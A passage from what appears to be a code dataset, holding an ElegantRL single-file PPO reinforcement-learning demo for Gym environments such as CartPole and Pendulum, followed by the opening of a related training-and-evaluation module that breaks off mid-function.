dist_entropy\r\n\r\n def get_old_logprob(self, _action, noise): # noise = action - a_noise\r\n delta = noise.pow(2) * 0.5\r\n return -(self.a_logstd + self.sqrt_2pi_log + delta).sum(1) # old_logprob\r\n\r\n\r\nclass ActorDiscretePPO(nn.Module):\r\n def __init__(self, mid_dim, state_dim, action_dim):\r\n super().__init__()\r\n self.net = nn.Sequential(nn.Linear(state_dim, mid_dim), nn.ReLU(),\r\n nn.Linear(mid_dim, mid_dim), nn.ReLU(),\r\n nn.Linear(mid_dim, mid_dim), nn.Hardswish(),\r\n nn.Linear(mid_dim, action_dim))\r\n self.action_dim = action_dim\r\n self.soft_max = nn.Softmax(dim=-1)\r\n self.Categorical = torch.distributions.Categorical\r\n\r\n def forward(self, state):\r\n return self.net(state) # action_prob without softmax\r\n\r\n def get_action(self, state):\r\n a_prob = self.soft_max(self.net(state))\r\n # action = Categorical(a_prob).sample()\r\n samples_2d = torch.multinomial(a_prob, num_samples=1, replacement=True)\r\n action = samples_2d.reshape(state.size(0))\r\n return action, a_prob\r\n\r\n def get_logprob_entropy(self, state, a_int):\r\n a_prob = self.soft_max(self.net(state))\r\n dist = self.Categorical(a_prob)\r\n return dist.log_prob(a_int), dist.entropy().mean()\r\n\r\n def get_old_logprob(self, a_int, a_prob):\r\n dist = self.Categorical(a_prob)\r\n return dist.log_prob(a_int)\r\n\r\n\r\nclass CriticAdv(nn.Module):\r\n def __init__(self, mid_dim, state_dim, _action_dim):\r\n super().__init__()\r\n self.net = nn.Sequential(nn.Linear(state_dim, mid_dim), nn.ReLU(),\r\n nn.Linear(mid_dim, mid_dim), nn.ReLU(),\r\n nn.Linear(mid_dim, mid_dim), nn.Hardswish(),\r\n nn.Linear(mid_dim, 1))\r\n\r\n def forward(self, state):\r\n return self.net(state) # Advantage value\r\n\r\n\r\n\"\"\"agent.py\"\"\"\r\n\r\n\r\nclass AgentPPO:\r\n def __init__(self):\r\n super().__init__()\r\n self.state = None\r\n self.device = None\r\n self.action_dim = None\r\n self.get_obj_critic = None\r\n\r\n self.criterion = torch.nn.SmoothL1Loss()\r\n self.cri = self.cri_target = self.if_use_cri_target = self.cri_optim = self.ClassCri = None\r\n self.act = self.act_target = self.if_use_act_target = self.act_optim = self.ClassAct = None\r\n\r\n '''init modify'''\r\n self.ClassCri = CriticAdv\r\n self.ClassAct = ActorPPO\r\n\r\n self.ratio_clip = 0.2 # ratio.clamp(1 - clip, 1 + clip)\r\n self.lambda_entropy = 0.02 # could be 0.01~0.05\r\n self.lambda_gae_adv = 0.98 # could be 0.95~0.99, GAE (Generalized Advantage Estimation. ICLR.2016.)\r\n self.get_reward_sum = None # self.get_reward_sum_gae if if_use_gae else self.get_reward_sum_raw\r\n self.trajectory_list = None\r\n\r\n def init(self, net_dim, state_dim, action_dim, learning_rate=1e-4, if_use_gae=False, gpu_id=0):\r\n self.device = torch.device(f\"cuda:{gpu_id}\" if (torch.cuda.is_available() and (gpu_id >= 0)) else \"cpu\")\r\n self.trajectory_list = list()\r\n self.get_reward_sum = self.get_reward_sum_gae if if_use_gae else self.get_reward_sum_raw\r\n\r\n self.cri = self.ClassCri(net_dim, state_dim, action_dim).to(self.device)\r\n self.act = self.ClassAct(net_dim, state_dim, action_dim).to(self.device) if self.ClassAct else self.cri\r\n self.cri_target = deepcopy(self.cri) if self.if_use_cri_target else self.cri\r\n self.act_target = deepcopy(self.act) if self.if_use_act_target else self.act\r\n\r\n self.cri_optim = torch.optim.Adam(self.cri.parameters(), learning_rate)\r\n self.act_optim = torch.optim.Adam(self.act.parameters(), learning_rate) if self.ClassAct else self.cri\r\n del self.ClassCri, self.ClassAct\r\n\r\n def select_action(self, state):\r\n states = torch.as_tensor((state,), dtype=torch.float32, device=self.device)\r\n actions, noises = self.act.get_action(states)\r\n return actions[0].detach().cpu().numpy(), noises[0].detach().cpu().numpy()\r\n\r\n def explore_env(self, env, target_step):\r\n trajectory_temp = list()\r\n\r\n state = self.state\r\n last_done = 0\r\n for i in range(target_step):\r\n action, noise = self.select_action(state)\r\n next_state, reward, done, _ = env.step(np.tanh(action))\r\n trajectory_temp.append((state, reward, done, action, noise))\r\n if done:\r\n state = env.reset()\r\n last_done = i\r\n else:\r\n state = next_state\r\n self.state = state\r\n\r\n '''splice list'''\r\n trajectory_list = self.trajectory_list + trajectory_temp[:last_done + 1]\r\n self.trajectory_list = trajectory_temp[last_done:]\r\n return trajectory_list\r\n\r\n def update_net(self, buffer, batch_size, repeat_times, soft_update_tau):\r\n with torch.no_grad():\r\n buf_len = buffer[0].shape[0]\r\n buf_state, buf_action, buf_noise, buf_reward, buf_mask = [ten.to(self.device) for ten in buffer]\r\n # (ten_state, ten_action, ten_noise, ten_reward, ten_mask) = buffer\r\n\r\n '''get buf_r_sum, buf_logprob'''\r\n bs = 2 ** 10 # set a smaller 'BatchSize' when out of GPU memory.\r\n buf_value = [self.cri_target(buf_state[i:i + bs]) for i in range(0, buf_len, bs)]\r\n buf_value = torch.cat(buf_value, dim=0)\r\n buf_logprob = self.act.get_old_logprob(buf_action, buf_noise)\r\n\r\n buf_r_sum, buf_advantage = self.get_reward_sum(buf_len, buf_reward, buf_mask, buf_value) # detach()\r\n buf_advantage = (buf_advantage - buf_advantage.mean()) / (buf_advantage.std() + 1e-5)\r\n del buf_noise, buffer[:]\r\n\r\n '''PPO: Surrogate objective of Trust Region'''\r\n obj_critic = obj_actor = None\r\n for _ in range(int(buf_len / batch_size * repeat_times)):\r\n indices = torch.randint(buf_len, size=(batch_size,), requires_grad=False, device=self.device)\r\n\r\n state = buf_state[indices]\r\n action = buf_action[indices]\r\n r_sum = buf_r_sum[indices]\r\n logprob = buf_logprob[indices]\r\n advantage = buf_advantage[indices]\r\n\r\n new_logprob, obj_entropy = self.act.get_logprob_entropy(state, action) # it is obj_actor\r\n ratio = (new_logprob - logprob.detach()).exp()\r\n surrogate1 = advantage * ratio\r\n surrogate2 = advantage * ratio.clamp(1 - self.ratio_clip, 1 + self.ratio_clip)\r\n obj_surrogate = -torch.min(surrogate1, surrogate2).mean()\r\n obj_actor = obj_surrogate + obj_entropy * self.lambda_entropy\r\n self.optim_update(self.act_optim, obj_actor)\r\n\r\n value = self.cri(state).squeeze(1) # critic network predicts the reward_sum (Q value) of state\r\n obj_critic = self.criterion(value, r_sum) / (r_sum.std() + 1e-6)\r\n self.optim_update(self.cri_optim, obj_critic)\r\n self.soft_update(self.cri_target, self.cri, soft_update_tau) if self.cri_target is not self.cri else None\r\n\r\n a_std_log = getattr(self.act, 'a_std_log', torch.zeros(1))\r\n return obj_critic.item(), obj_actor.item(), a_std_log.mean().item() # logging_tuple\r\n\r\n def get_reward_sum_raw(\r\n self, buf_len, buf_reward, buf_mask, buf_value\r\n ) -> Tuple[torch.Tensor, torch.Tensor]:\r\n buf_r_sum = torch.empty(buf_len, dtype=torch.float32, device=self.device) # reward sum\r\n\r\n pre_r_sum = 0\r\n for i in range(buf_len - 1, -1, -1):\r\n buf_r_sum[i] = buf_reward[i] + buf_mask[i] * pre_r_sum\r\n pre_r_sum = buf_r_sum[i]\r\n buf_advantage = buf_r_sum - (buf_mask * buf_value[:, 0])\r\n return buf_r_sum, buf_advantage\r\n\r\n def get_reward_sum_gae(\r\n self, buf_len, ten_reward, ten_mask, ten_value\r\n ) -> Tuple[torch.Tensor, torch.Tensor]:\r\n buf_r_sum = torch.empty(buf_len, dtype=torch.float32, device=self.device) # old policy value\r\n buf_advantage = torch.empty(buf_len, dtype=torch.float32, device=self.device) # advantage value\r\n\r\n pre_r_sum = 0\r\n pre_advantage = 0 # advantage value of previous step\r\n for i in range(buf_len - 1, -1, -1):\r\n buf_r_sum[i] = ten_reward[i] + ten_mask[i] * pre_r_sum\r\n pre_r_sum = buf_r_sum[i]\r\n buf_advantage[i] = ten_reward[i] + ten_mask[i] * (pre_advantage - ten_value[i]) # fix a bug here\r\n pre_advantage = ten_value[i] + buf_advantage[i] * self.lambda_gae_adv\r\n return buf_r_sum, buf_advantage\r\n\r\n @staticmethod\r\n def optim_update(optimizer, objective):\r\n optimizer.zero_grad()\r\n objective.backward()\r\n optimizer.step()\r\n\r\n @staticmethod\r\n def soft_update(target_net, current_net, tau):\r\n for tar, cur in zip(target_net.parameters(), current_net.parameters()):\r\n tar.data.copy_(cur.data.__mul__(tau) + tar.data.__mul__(1.0 - tau))\r\n\r\n\r\nclass AgentDiscretePPO(AgentPPO):\r\n def __init__(self):\r\n super().__init__()\r\n self.ClassAct = ActorDiscretePPO\r\n\r\n def explore_env(self, env, target_step):\r\n trajectory_temp = list()\r\n\r\n state = self.state\r\n last_done = 0\r\n for i in range(target_step):\r\n action, a_prob = self.select_action(state) # different\r\n a_int = int(action) # different\r\n next_state, reward, done, _ = env.step(a_int) # different\r\n trajectory_temp.append((state, reward, done, a_int, a_prob)) # different\r\n\r\n if done:\r\n state = env.reset()\r\n last_done = i\r\n else:\r\n state = next_state\r\n self.state = state\r\n\r\n '''splice list'''\r\n trajectory_list = self.trajectory_list + trajectory_temp[:last_done + 1]\r\n self.trajectory_list \\\r\n = trajectory_temp[last_done:]\r\n return trajectory_list\r\n\r\n\r\n'''run.py'''\r\n\r\n\r\nclass Arguments:\r\n def __init__(self, agent=None, env=None):\r\n self.agent = agent # Deep Reinforcement Learning algorithm\r\n self.env = env # the environment for training\r\n\r\n self.cwd = None # current work directory. None means set automatically\r\n self.if_remove = True # remove the cwd folder? (True, False, None:ask me)\r\n self.break_step = 2 ** 20 # break training after 'total_step > break_step'\r\n self.if_allow_break = True # allow break training when reach goal (early termination)\r\n\r\n self.visible_gpu = '0' # for example: os.environ['CUDA_VISIBLE_DEVICES'] = '0, 2,'\r\n self.worker_num = 2 # rollout workers number pre GPU (adjust it to get high GPU usage)\r\n self.num_threads = 8 # cpu_num for evaluate model, torch.set_num_threads(self.num_threads)\r\n\r\n '''Arguments for training'''\r\n self.gamma = 0.99 # discount factor of future rewards\r\n self.reward_scale = 2 ** 0 # an approximate target reward usually be closed to 256\r\n self.learning_rate = 2 ** -14 # 2 ** -14 ~= 6e-5\r\n self.soft_update_tau = 2 ** -8 # 2 ** -8 ~= 5e-3\r\n\r\n self.net_dim = 2 ** 9 # the network width\r\n self.batch_size = self.net_dim * 2 # num of transitions sampled from replay buffer.\r\n self.repeat_times = 2 ** 3 # collect target_step, then update network\r\n self.target_step = 2 ** 12 # repeatedly update network to keep critic's loss small\r\n self.max_memo = self.target_step # capacity of replay buffer\r\n self.if_per_or_gae = False # GAE for on-policy sparse reward: Generalized Advantage Estimation.\r\n\r\n '''Arguments for evaluate'''\r\n self.eval_gap = 2 ** 6 # evaluate the agent per eval_gap seconds\r\n self.eval_times = 2 # number of times that get episode return in first\r\n self.random_seed = 0 # initialize random seed in self.init_before_training()\r\n\r\n def init_before_training(self, if_main):\r\n if self.cwd is None:\r\n agent_name = self.agent.__class__.__name__\r\n self.cwd = f'./{agent_name}_{self.env.env_name}_{self.visible_gpu}'\r\n\r\n if if_main:\r\n import shutil # remove history according to bool(if_remove)\r\n if self.if_remove is None:\r\n self.if_remove = bool(input(f\"| PRESS 'y' to REMOVE: {self.cwd}? \") == 'y')\r\n elif self.if_remove:\r\n shutil.rmtree(self.cwd, ignore_errors=True)\r\n print(f\"| Remove cwd: {self.cwd}\")\r\n os.makedirs(self.cwd, exist_ok=True)\r\n\r\n np.random.seed(self.random_seed)\r\n torch.manual_seed(self.random_seed)\r\n torch.set_num_threads(self.num_threads)\r\n torch.set_default_dtype(torch.float32)\r\n\r\n os.environ['CUDA_VISIBLE_DEVICES'] = str(self.visible_gpu)\r\n\r\n\r\ndef train_and_evaluate(args, agent_id=0):\r\n args.init_before_training(if_main=True)\r\n\r\n '''init: Agent'''\r\n env = args.env\r\n agent = args.agent\r\n agent.init(args.net_dim, env.state_dim, env.action_dim,\r\n args.learning_rate, args.if_per_or_gae)\r\n\r\n '''init Evaluator'''\r\n eval_env = deepcopy(env)\r\n evaluator = Evaluator(args.cwd, agent_id, agent.device, eval_env, args.eval_times, args.eval_gap)\r\n\r\n '''init ReplayBuffer'''\r\n buffer = list()\r\n\r\n def update_buffer(_trajectory):\r\n _trajectory = list(map(list, zip(*_trajectory))) # 2D-list transpose\r\n ten_state = torch.as_tensor(_trajectory[0])\r\n ten_reward = torch.as_tensor(_trajectory[1], dtype=torch.float32) * reward_scale\r\n ten_mask = (1.0 - torch.as_tensor(_trajectory[2], dtype=torch.float32)) * gamma # _trajectory[2] = done\r\n ten_action = torch.as_tensor(_trajectory[3])\r\n ten_noise = torch.as_tensor(_trajectory[4], dtype=torch.float32)\r\n\r\n buffer[:] = (ten_state, ten_action, ten_noise, ten_reward, ten_mask)\r\n\r\n _steps = ten_reward.shape[0]\r\n _r_exp = ten_reward.mean()\r\n return _steps, _r_exp\r\n\r\n '''start training'''\r\n cwd = args.cwd\r\n gamma = args.gamma\r\n break_step = args.break_step\r\n batch_size = args.batch_size\r\n target_step = args.target_step\r\n reward_scale = args.reward_scale\r\n repeat_times = args.repeat_times\r\n if_allow_break = args.if_allow_break\r\n soft_update_tau = args.soft_update_tau\r\n del args\r\n\r\n agent.state = env.reset()\r\n\r\n if_train = True\r\n while if_train:\r\n with torch.no_grad():\r\n trajectory_list = agent.explore_env(env, target_step)\r\n steps, r_exp = update_buffer(trajectory_list)\r\n\r\n logging_tuple = agent.update_net(buffer, batch_size, repeat_times, soft_update_tau)\r\n\r\n with torch.no_grad():\r\n if_reach_goal = evaluator.evaluate_and_save(agent.act, steps, r_exp, logging_tuple)\r\n if_train = not ((if_allow_break and if_reach_goal)\r\n or evaluator.total_step > break_step\r\n or os.path.exists(f'{cwd}/stop'))\r\n\r\n print(f'| UsedTime: {time.time() - evaluator.start_time:.0f} | SavedDir: {cwd}')\r\n\r\n\r\nclass Evaluator:\r\n def __init__(self, cwd, agent_id, device, env, eval_times, eval_gap, ):\r\n self.recorder = list() # total_step, r_avg, r_std, obj_c, ...\r\n self.recorder_path = f'{cwd}/recorder.npy'\r\n self.r_max = -np.inf\r\n self.total_step = 0\r\n\r\n self.env = env\r\n self.cwd = cwd\r\n self.device = device\r\n self.agent_id = agent_id\r\n self.eval_gap = eval_gap\r\n self.eval_times = eval_times\r\n self.target_return = env.target_return\r\n\r\n self.used_time = None\r\n self.start_time = time.time()\r\n self.eval_time = 0\r\n print(f\"{'#' * 80}\\n\"\r\n f\"{'ID':<3}{'Step':>8}{'maxR':>8} |\"\r\n f\"{'avgR':>8}{'stdR':>7}{'avgS':>7}{'stdS':>6} |\"\r\n f\"{'expR':>8}{'objC':>7}{'etc.':>7}\")\r\n\r\n def evaluate_and_save(self, act, steps, r_exp, log_tuple) -> bool:\r\n self.total_step += steps # update total training steps\r\n\r\n if time.time() - self.eval_time < self.eval_gap:\r\n return False # if_reach_goal\r\n\r\n self.eval_time = time.time()\r\n rewards_steps_list = [get_episode_return_and_step(self.env, act, self.device) for _ in\r\n range(self.eval_times)]\r\n r_avg, r_std, s_avg, s_std = self.get_r_avg_std_s_avg_std(rewards_steps_list)\r\n\r\n if r_avg > self.r_max: # save checkpoint with highest episode return\r\n self.r_max = r_avg # update max reward (episode return)\r\n\r\n act_save_path = f'{self.cwd}/actor.pth'\r\n torch.save(act.state_dict(), act_save_path) # save policy network in *.pth\r\n print(f\"{self.agent_id:<3}{self.total_step:8.2e}{self.r_max:8.2f} |\") # save policy and print\r\n\r\n self.recorder.append((self.total_step, r_avg, r_std, r_exp, *log_tuple)) # update recorder\r\n\r\n if_reach_goal = bool(self.r_max > self.target_return) # check if_reach_goal\r\n if if_reach_goal and self.used_time is None:\r\n self.used_time = int(time.time() - self.start_time)\r\n print(f\"{'ID':<3}{'Step':>8}{'TargetR':>8} |\"\r\n f\"{'avgR':>8}{'stdR':>7}{'avgS':>7}{'stdS':>6} |\"\r\n f\"{'UsedTime':>8} ########\\n\"\r\n f\"{self.agent_id:<3}{self.total_step:8.2e}{self.target_return:8.2f} |\"\r\n f\"{r_avg:8.2f}{r_std:7.1f}{s_avg:7.0f}{s_std:6.0f} |\"\r\n f\"{self.used_time:>8} ########\")\r\n\r\n print(f\"{self.agent_id:<3}{self.total_step:8.2e}{self.r_max:8.2f} |\"\r\n f\"{r_avg:8.2f}{r_std:7.1f}{s_avg:7.0f}{s_std:6.0f} |\"\r\n f\"{r_exp:8.2f}{''.join(f'{n:7.2f}' for n in log_tuple)}\")\r\n return if_reach_goal\r\n\r\n @staticmethod\r\n def get_r_avg_std_s_avg_std(rewards_steps_list):\r\n rewards_steps_ary = np.array(rewards_steps_list, dtype=np.float32)\r\n r_avg, s_avg = rewards_steps_ary.mean(axis=0) # average of episode return and episode step\r\n r_std, s_std = rewards_steps_ary.std(axis=0) # standard dev. of episode return and episode step\r\n return r_avg, r_std, s_avg, s_std\r\n\r\n\r\ndef get_episode_return_and_step(env, act, device) -> Tuple[float, int]:\r\n episode_return = 0.0 # sum of rewards in an episode\r\n episode_step = 1\r\n max_step = env.max_step\r\n if_discrete = env.if_discrete\r\n\r\n state = env.reset()\r\n for episode_step in range(max_step):\r\n s_tensor = torch.as_tensor((state,), device=device)\r\n a_tensor = act(s_tensor)\r\n if if_discrete:\r\n a_tensor = a_tensor.argmax(dim=1)\r\n action = a_tensor.detach().cpu().numpy()[0] # not need detach(), because with torch.no_grad() outside\r\n state, reward, done, _ = env.step(action)\r\n episode_return += reward\r\n if done:\r\n break\r\n episode_return = getattr(env, 'episode_return', episode_return)\r\n return episode_return, episode_step\r\n\r\n\r\nclass PreprocessEnv(gym.Wrapper): # environment wrapper\r\n def __init__(self, env, if_print=True):\r\n self.env = gym.make(env) if isinstance(env, str) else env\r\n super().__init__(self.env)\r\n\r\n (self.env_name, self.state_dim, self.action_dim, self.action_max, self.max_step,\r\n self.if_discrete, self.target_return) = get_gym_env_info(self.env, if_print)\r\n\r\n def reset(self) -> np.ndarray:\r\n state = self.env.reset()\r\n return state.astype(np.float32)\r\n\r\n def step(self, action: np.ndarray) -> Tuple[np.ndarray, float, bool, dict]:\r\n state, reward, done, info_dict = self.env.step(action * self.action_max)\r\n return state.astype(np.float32), reward, done, info_dict\r\n\r\n\r\ndef get_gym_env_info(env, if_print) -> Tuple[str, int, int, int, int, bool, float]:\r\n assert isinstance(env, gym.Env)\r\n\r\n env_name = getattr(env, 'env_name', None)\r\n env_name = env.unwrapped.spec.id if env_name is None else None\r\n\r\n if isinstance(env.observation_space, gym.spaces.discrete.Discrete):\r\n raise RuntimeError(\"| <class 'gym.spaces.discrete.Discrete'> does not support environment with discrete observation (state) space.\")\r\n state_shape = env.observation_space.shape\r\n state_dim = state_shape[0] if len(state_shape) == 1 else state_shape # sometimes state_dim is a list\r\n\r\n target_return = getattr(env, 'target_return', None)\r\n target_return_default = getattr(env.spec, 'reward_threshold', None)\r\n if target_return is None:\r\n target_return = target_return_default\r\n if target_return is None:\r\n target_return = 2 ** 16\r\n\r\n max_step = getattr(env, 'max_step', None)\r\n max_step_default = getattr(env, '_max_episode_steps', None)\r\n if max_step is None:\r\n max_step = max_step_default\r\n if max_step is None:\r\n max_step = 2 ** 10\r\n\r\n if_discrete = isinstance(env.action_space, gym.spaces.Discrete)\r\n if if_discrete: # make sure it is discrete action space\r\n action_dim = env.action_space.n\r\n action_max = int(1)\r\n elif isinstance(env.action_space, gym.spaces.Box): # make sure it is continuous action space\r\n action_dim = env.action_space.shape[0]\r\n action_max = float(env.action_space.high[0])\r\n assert not any(env.action_space.high + env.action_space.low)\r\n else:\r\n raise RuntimeError('| Please set these value manually: if_discrete=bool, action_dim=int, action_max=1.0')\r\n\r\n print(f\"\\n| env_name: {env_name}, action if_discrete: {if_discrete}\"\r\n f\"\\n| state_dim: {state_dim}, action_dim: {action_dim}, action_max: {action_max}\"\r\n f\"\\n| max_step: {max_step:4}, target_return: {target_return}\") if if_print else None\r\n return env_name, state_dim, action_dim, action_max, max_step, if_discrete, target_return\r\n\r\n\r\n'''demo.py'''\r\n\r\n\r\ndef demo_continuous_action():\r\n args = Arguments() # hyper-parameters of on-policy is different from off-policy\r\n args.agent = AgentPPO()\r\n args.agent.cri_target = True\r\n args.visible_gpu = '1'\r\n\r\n if_train_pendulum = 1\r\n if if_train_pendulum:\r\n \"TotalStep: 4e5, TargetReward: -200, UsedTime: 400s\"\r\n args.env = PreprocessEnv(env=gym.make('Pendulum-v1')) # env='Pendulum-v1' is OK.\r\n args.env.target_return = -200 # set target_reward manually for env 'Pendulum-v1'\r\n args.reward_scale = 2 ** -3 # RewardRange: -1800 < -200 < -50 < 0\r\n args.gamma = 0.97\r\n args.net_dim = 2 ** 7\r\n args.batch_size = args.net_dim * 2\r\n args.target_step = args.env.max_step * 8\r\n\r\n if_train_lunar_lander = 0\r\n if if_train_lunar_lander:\r\n \"TotalStep: 4e5, TargetReward: 200, UsedTime: 900s\"\r\n args.env = PreprocessEnv(env=gym.make('LunarLanderContinuous-v2'))\r\n args.target_step = args.env.max_step * 4\r\n args.if_per_or_gae = True\r\n args.gamma = 0.98\r\n\r\n if_train_bipedal_walker = 0\r\n if if_train_bipedal_walker:\r\n \"TotalStep: 8e5, TargetReward: 300, UsedTime: 1800s\"\r\n args.env = PreprocessEnv(env=gym.make('BipedalWalker-v3'))\r\n args.gamma = 0.98\r\n args.if_per_or_gae = True\r\n\r\n train_and_evaluate(args)\r\n\r\n\r\ndef demo_discrete_action():\r\n args = Arguments() # hyper-parameters of on-policy is different from off-policy\r\n args.agent = AgentDiscretePPO()\r\n args.visible_gpu = '2'\r\n\r\n if_train_cart_pole = 1\r\n if if_train_cart_pole:\r\n \"TotalStep: 5e4, TargetReward: 200, UsedTime: 60s\"\r\n args.env = PreprocessEnv(env='CartPole-v0')\r\n args.reward_scale = 2 ** -1\r\n args.target_step = args.env.max_step * 8\r\n\r\n if_train_lunar_lander = 0\r\n if if_train_lunar_lander:\r\n \"TotalStep: 6e5, TargetReturn: 200, UsedTime: 1500s, LunarLander-v2, PPO\"\r\n args.env = PreprocessEnv(env=gym.make('LunarLander-v2'))\r\n args.repeat_times = 2 ** 5\r\n args.if_per_or_gae = True\r\n\r\n train_and_evaluate(args)\r\n\r\n\r\nif __name__ == '__main__':\r\n # demo_continuous_action()\r\n demo_discrete_action()\r\n", "id": "1417997", "language": "Python", "matching_score": 9.897802352905273, "max_stars_count": 0, "path": "elegantrl_helloworld/eRL_demo_PPOinSingleFile.py" }, { "content": "import time\nfrom agent import *\nfrom env import *\nfrom typing import Tuple\n\ngym.logger.set_level(40) # Block warning\n\n\nclass Arguments:\n def __init__(self, agent=None, env=None, if_off_policy=True):\n self.agent = agent # DRL algorithm\n self.env = env # env for training\n\n self.cwd = None # current work directory. None means set automatically\n self.if_remove = True # remove the cwd folder? (True, False, None)\n self.break_step = 2 ** 20 # terminate training after 'total_step > break_step'\n self.if_allow_break = True # terminate training when reaching a target reward\n\n self.visible_gpu = '0' # e.g., os.environ['CUDA_VISIBLE_DEVICES'] = '0, 2,'\n self.worker_num = 2 # rollout workers per GPU\n self.num_threads = 8 # cpu_num to evaluate model, torch.set_num_threads(self.num_threads)\n\n '''Arguments for training'''\n self.gamma = 0.99 # discount factor\n self.reward_scale = 2 ** 0 # an approximate target reward usually be closed to 256\n self.learning_rate = 2 ** -14 # 2 ** -14 ~= 6e-5\n self.soft_update_tau = 2 ** -8 # 2 ** -8 ~= 5e-3\n\n if if_off_policy: # (off-policy)\n self.net_dim = 2 ** 8 # the network width\n self.batch_size = self.net_dim # num of transitions sampled from replay buffer.\n self.repeat_times = 2 ** 0 # repeatedly update network to keep critic's loss small\n self.target_step = 2 ** 10 # collect target_step, then update network\n self.max_memo = 2 ** 20 # capacity of replay buffer\n self.if_per_or_gae = False # PER for off-policy sparse reward: Prioritized Experience Replay.\n else:\n self.net_dim = 2 ** 9 # the network width\n self.batch_size = self.net_dim * 2 # num of transitions sampled from replay buffer.\n self.repeat_times = 2 ** 3 # collect target_step, then update network\n self.target_step = 2 ** 12 # repeatedly update network to keep critic's loss small\n self.max_memo = self.target_step # capacity of replay buffer\n self.if_per_or_gae = False # GAE for on-policy sparse reward: Generalized Advantage Estimation.\n\n '''Arguments for evaluate'''\n self.eval_env = None # the environment for evaluating. None means set automatically.\n self.eval_gap = 2 ** 6 # evaluate the agent per eval_gap seconds\n self.eval_times = 2 # number of times that get episode return in first\n self.random_seed = 0 # initialize random seed in self.init_before_training()\n\n def init_before_training(self, if_main):\n if self.cwd is None:\n agent_name = self.agent.__class__.__name__\n self.cwd = f'./{agent_name}_{self.env.env_name}_{self.visible_gpu}'\n\n if if_main:\n import shutil # remove history according to bool(if_remove)\n if self.if_remove is None:\n self.if_remove = bool(input(f\"| PRESS 'y' to REMOVE: {self.cwd}? \") == 'y')\n elif self.if_remove:\n shutil.rmtree(self.cwd, ignore_errors=True)\n print(f\"| Remove cwd: {self.cwd}\")\n os.makedirs(self.cwd, exist_ok=True)\n\n np.random.seed(self.random_seed)\n torch.manual_seed(self.random_seed)\n torch.set_num_threads(self.num_threads)\n torch.set_default_dtype(torch.float32)\n\n os.environ['CUDA_VISIBLE_DEVICES'] = str(self.visible_gpu)\n\n\ndef train_and_evaluate(args, agent_id=0):\n args.init_before_training(if_main=True)\n\n '''init: Agent'''\n env = args.env\n agent = args.agent\n agent.init(args.net_dim, env.state_dim, env.action_dim, args.learning_rate, args.if_per_or_gae)\n agent.save_or_load_agent(args.cwd, if_save=False)\n\n '''init Evaluator'''\n eval_env = deepcopy(env) if args.eval_env is None else args.eval_env\n evaluator = Evaluator(args.cwd, agent_id, agent.device, eval_env,\n args.eval_times, args.eval_gap)\n\n '''init ReplayBuffer'''\n if agent.if_off_policy:\n buffer = ReplayBuffer(max_len=args.max_memo, state_dim=env.state_dim,\n action_dim=1 if env.if_discrete else env.action_dim)\n # buffer.save_or_load_history(args.cwd, if_save=False)\n\n def update_buffer(_trajectory):\n ten_state = torch.as_tensor([item[0] for item in _trajectory], dtype=torch.float32)\n ary_other = torch.as_tensor([item[1] for item in _trajectory])\n ary_other[:, 0] = ary_other[:, 0] * reward_scale # ten_reward\n ary_other[:, 1] = (1.0 - ary_other[:, 1]) * gamma # ten_mask = (1.0 - ary_done) * gamma\n\n buffer.extend_buffer(ten_state, ary_other)\n\n _steps = ten_state.shape[0]\n _r_exp = ary_other[:, 0].mean() # other = (reward, mask, action)\n return _steps, _r_exp\n else:\n buffer = list()\n\n def update_buffer(_trajectory):\n _trajectory = list(map(list, zip(*_trajectory))) # 2D-list transpose\n ten_state = torch.as_tensor(_trajectory[0])\n ten_reward = torch.as_tensor(_trajectory[1], dtype=torch.float32) * reward_scale\n ten_mask = (1.0 - torch.as_tensor(_trajectory[2], dtype=torch.float32)) * gamma # _trajectory[2] = done\n ten_action = torch.as_tensor(_trajectory[3])\n ten_noise = torch.as_tensor(_trajectory[4], dtype=torch.float32)\n\n buffer[:] = (ten_state, ten_action, ten_noise, ten_reward, ten_mask)\n\n _steps = ten_reward.shape[0]\n _r_exp = ten_reward.mean()\n return _steps, _r_exp\n\n '''start training'''\n cwd = args.cwd\n gamma = args.gamma\n break_step = args.break_step\n batch_size = args.batch_size\n target_step = args.target_step\n reward_scale = args.reward_scale\n repeat_times = args.repeat_times\n if_allow_break = args.if_allow_break\n soft_update_tau = args.soft_update_tau\n del args\n\n agent.state = env.reset()\n if agent.if_off_policy:\n trajectory = agent.explore_env(env, target_step)\n update_buffer(trajectory)\n\n if_train = True\n while if_train:\n with torch.no_grad():\n trajectory = agent.explore_env(env, target_step)\n steps, r_exp = update_buffer(trajectory)\n\n logging_tuple = agent.update_net(buffer, batch_size, repeat_times, soft_update_tau)\n\n with torch.no_grad():\n if_reach_goal = evaluator.evaluate_and_save(agent.act, steps, r_exp, logging_tuple)\n if_train = not ((if_allow_break and if_reach_goal)\n or evaluator.total_step > break_step\n or os.path.exists(f'{cwd}/stop'))\n print(f'| UsedTime: {time.time() - evaluator.start_time:.0f} | SavedDir: {cwd}')\n agent.save_or_load_agent(cwd, if_save=True)\n buffer.save_or_load_history(cwd, if_save=True) if agent.if_off_policy else None\n\n\nclass Evaluator:\n def __init__(self, cwd, agent_id, device, env, eval_times, eval_gap, ):\n self.recorder = list() # total_step, r_avg, r_std, obj_c, ...\n self.recorder_path = f'{cwd}/recorder.npy'\n self.r_max = -np.inf\n self.total_step = 0\n\n self.env = env\n self.cwd = cwd\n self.device = device\n self.agent_id = agent_id\n self.eval_gap = eval_gap\n self.eval_times = eval_times\n self.target_return = env.target_return\n\n self.used_time = None\n self.start_time = time.time()\n self.eval_time = 0\n print(f\"{'#' * 80}\\n\"\n f\"{'ID':<3}{'Step':>8}{'maxR':>8} |\"\n f\"{'avgR':>8}{'stdR':>7}{'avgS':>7}{'stdS':>6} |\"\n f\"{'expR':>8}{'objC':>7}{'etc.':>7}\")\n\n def evaluate_and_save(self, act, steps, r_exp, log_tuple) -> bool:\n self.total_step += steps # update total training steps\n\n if time.time() - self.eval_time < self.eval_gap:\n return False # if_reach_goal\n\n self.eval_time = time.time()\n rewards_steps_list = [get_episode_return_and_step(self.env, act, self.device) for _ in\n range(self.eval_times)]\n r_avg, r_std, s_avg, s_std = self.get_r_avg_std_s_avg_std(rewards_steps_list)\n\n if r_avg > self.r_max: # save checkpoint with highest episode return\n self.r_max = r_avg # update max reward (episode return)\n\n act_save_path = f'{self.cwd}/actor.pth'\n torch.save(act.state_dict(), act_save_path) # save policy network in *.pth\n print(f\"{self.agent_id:<3}{self.total_step:8.2e}{self.r_max:8.2f} |\") # save policy and print\n\n self.recorder.append((self.total_step, r_avg, r_std, r_exp, *log_tuple)) # update recorder\n\n if_reach_goal = bool(self.r_max > self.target_return) # check if_reach_goal\n if if_reach_goal and self.used_time is None:\n self.used_time = 